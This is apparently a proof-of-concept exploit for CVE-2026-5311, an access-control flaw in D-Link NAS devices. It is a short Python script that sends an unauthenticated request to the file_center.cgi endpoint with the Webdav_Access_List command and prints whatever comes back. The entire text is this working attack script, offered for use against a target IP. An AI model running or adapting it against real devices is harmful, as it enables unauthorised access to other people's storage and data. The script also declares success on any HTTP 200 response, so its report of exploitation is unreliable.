CVE-2026-5311 D-Link NAS设备访问控制漏洞

import requests # Target URL, replace <TARGET_IP> with the actual device IP target_url = "http://<TARGET_IP>/cgi-bin/file_center.cgi" # The vulnerability is triggered by manipulating the 'cmd' argument # in the Webdav_Access_List function without authentication. payload = { "cmd": "Webdav_Access_List", # Additional parameters might be required to trigger specific behavior } try: # Send request without authentication headers (PR:N) response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")